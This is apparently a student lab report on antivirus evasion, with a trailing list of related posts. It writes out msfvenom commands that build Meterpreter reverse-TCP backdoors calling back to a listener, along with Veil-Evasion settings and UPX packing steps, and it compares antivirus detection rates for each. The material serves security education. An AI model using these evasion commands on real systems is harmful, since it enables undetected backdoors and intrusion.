20155232《网络对抗》Exp3 免杀原理与实践
20155232《网络对抗》Exp3 免杀原理与实践
问题回答
- 1.基础问题回答
(1)杀软是如何检测出恶意代码的?
基于特征码的检测
特征码:一段特征码就是一段或多段数据。
如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
启发式恶意软件检测
根据些片面特征去推断。
通用性,不精确。
基于行为的恶意软件检测
修改文件硬盘、连接恶意网站、修改注册表
(2)免杀是做什么?
通过一些手段来瞒过杀软的检测扫描。避免被杀毒软件查杀。
(3)免杀的基本方法有哪些?
改变特征码:如果有exe可以加壳,有shellcode可以用encode进行编码,有源代码可以用veil-evasion进行重写再编译。
改变行为
尽量使用反弹式连接、使用隧道技术
基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码
- 2.离实战还缺些什么技术或步骤?
实战靶机不会乖乖被你植入一个后门程序,并没有这么理想的情况,也不可能出现让你多次尝试连接还没有被察觉的情况,难度就会大大加强。而且现在各种杀毒软件的病毒库在不断地更新,所以需要探索出新的方法在实战中去应用。
实践内容
1.使用msf生成后门程序的检测
直接用上个实验的20155232_backdoor.exe进行检测,但是提示说不能有数字,所以修改名字后检测:
- 扫描结果:46%的杀软(18/39)报告发现病毒.
2.Msfvenom使用编码器生成meterpreter可执行文件
- 可以尝试多编码几次比如10次,理论上肯定比一次好些...但上课时老师说编码器可能就本身会被发现。
就多编码几次试试,看看能不能好点,就试十次吧:在指令里加上
i 10
- 扫描结果:48%的杀软(19/39)报告发现病毒,所以这个方法并不够免杀。
使用命令
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.229.137 LPORT=443 -f war > java_backdoor.jar
生成jar文件
出现错误:
然后将名字进行修改即可,。。。
哇塞还不错哦
39个杀毒软件5个报毒。
将程序复制到带杀软的win10中,没有任何反应。
3.veil-evasion生成可执行文件
在尝试安装和下载veil的安装包进行安装失败
又使用命令sudo apt-get 也失败后,使用了从老师那里拷贝的虚拟机~
- 命令行直接输入veil打开软件
- 根据menu提示依次输入下面的指令
问题
之前在输入python的时候提示错误
use python/meterpreter/rev_tcp.py
解决
于是选择换成c,重复上面的操作,发现ok了,可以生成可执行文件啦。
- 根据menu提示依次输入下面的指令
# list
# use 7
- 接着是设置LHOST和LPORT
set LHOST 192.168.229.137
set LPORT 5232
generate
设置你想生成的文件名
成功~
- 按照路径去复制此文件
注意
需要切换到图中标出来的目录才能找到此文件,在进行搜索:
- 扫描一下:
在拷贝到win10的过程中,没有被拦截。
结果是比MSF进步了很多,只有8个引擎检测出来了有后门。
实验了一下360也没能查杀出来:
突然觉得360有点菜啊。。。。=v=!
4.C语言调用Shellcode
- 下面指令会生成一个c语言格式的Shellcode数组。
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.229.137 LPORT=443 -f c
- 使用命令将该C语言代码转换为一个可在64位windows系统下操作的可执行文件
VirSCAN.org检测结果如下:
- 根据老师提供的链接下载安装vs。并且选择桌面开发c++。
- 进行编译运行,生成了exe文件:
放在网站上扫描一下~
比之前少了很多~
还是不错滴~
- 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口,进行回连:
回连成功:
360依旧没有扫描出来~
5.加壳
- upx是一种压缩程序,可以实现加壳的功能,这里简单介绍该指令加壳的命令格式:
upx 需要加壳的文件名 -o 加壳后的文件名
- 检测一下
感觉没有太大的变化。。。哈哈哈加壳后查杀率不但没有减少反而相比上一个提高了,360也提醒我有木马病毒,让我赶紧清理。
说明这个方法实现不了免杀。。
6.通过组合应用各种技术实现恶意代码免杀
加壳+veil-evasion
在将生成的文件进行扫描:
跟上一种情况比起来差不多~哈哈哈哈
不过360没有扫描出来~
6.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
总结体会
在这次的实验里安装veil出现了不少问题,最终也没有解决,就用了老师的虚拟机。。。然后通过这次实验可以了解到,实现免杀的技术有很多种,需要慢慢学习和探索,很多免杀的方法见都没见过,有的也没有看懂,对于软件生成来说,很容易暴露特征,而自己手工编写更能实现免杀。最重要的电脑主机的杀毒软件需要进行更新,而且选择一个好的软件也很重要。
20155232《网络对抗》Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165205 网络攻防Exp3免杀原理与实践
2018-2019-2 20165205 网络攻防Exp3免杀原理与实践 一.实践内容 1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用 ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
随机推荐
- SD从零开始25-28
SD从零开始25 装运的组织单元(Organizational Units in Shipping) 组织结构-后勤Organizational Structure-Logistics Plant在后 ...
- 安装ArcGIS Enterprise WebGIS (Portal ArcGIS Server DataStore ) 系统后如何应对网络环境的配置修改
客户往往在部署完ArcGIS WebGIS系统后,由于需要满足业务或者网络管理的要求,需要修改系统的网络环境的配置,下文将从常见的几个场景来讲述如何去应对这些变动. 1.网络IP地址变动 由于在部署W ...
- Salesforce中如何删除调试日志
大家在新建一个用户跟踪标记的时候可能会遇到以下报错:调试日志已经超过了上限,在编辑跟踪标志前,删除一些调试日志.但是在点击“全部删除”按钮删除所有可见的日志后,还是报同样的错误,这时候,我们打开开发者 ...
- 葡萄城报表 SP2 新特性(1)— 单元格智能合并
中国式复杂报表的布局,因为数据的动态性和结构性,导致其布局往往是无规律,且在设计时无法预测的,如单元格合并,通常不仅希望在每一列的数据展现中,能够根据需要自动将相同的单元格合并,且每个单元格之间该属性 ...
- Android--自定义半圆环型进度(带动画)
package com.newair.ondrawtext; import android.animation.ValueAnimator; import android.annotation.Tar ...
- Expo大作战(十三)--expo如何自定义状态了statusBar以及expo中如何处理脱机缓存加载 offline support
简要:本系列文章讲会对expo进行全面的介绍,本人从2017年6月份接触expo以来,对expo的研究断断续续,一路走来将近10个月,废话不多说,接下来你看到内容,讲全部来与官网 我猜去全部机翻+个人 ...
- Expo大作战(十一)--expo中的预加载和缓存资产(Preloading & Caching Assets),expo中的图标 (Icon)
简要:本系列文章讲会对expo进行全面的介绍,本人从2017年6月份接触expo以来,对expo的研究断断续续,一路走来将近10个月,废话不多说,接下来你看到内容,讲全部来与官网 我猜去全部机翻+个人 ...
- pycharm的常用快捷键
使用pycharm写代码时,如果有错误,一般代码右边会有红色标记. 1,写代码时忘记导入模块,可以使用快捷键 Alt + Enter 自动导入模块.() 再倒入模块之前,需要现在pycharm ...
- S5700的Eth-Trunk端口汇聚(trunk实验)
S5700的Eth-Trunk端口汇聚 链路汇聚和端口汇聚,就是端口聚合,交换机的堆叠是堆叠和端口聚合无关. 端口聚合概念:(包括二层端口聚合和三层端口聚合) 1.端口聚合IEEE标准是将最多16条链 ...
- C#程序如何捕捉未try/catch的异常——不弹“XXX已停止工作”报错框
诚意满满直接上代码: static void Main(string[] args) { //Main函数中增加此句 AppDomain.CurrentDomain.UnhandledExceptio ...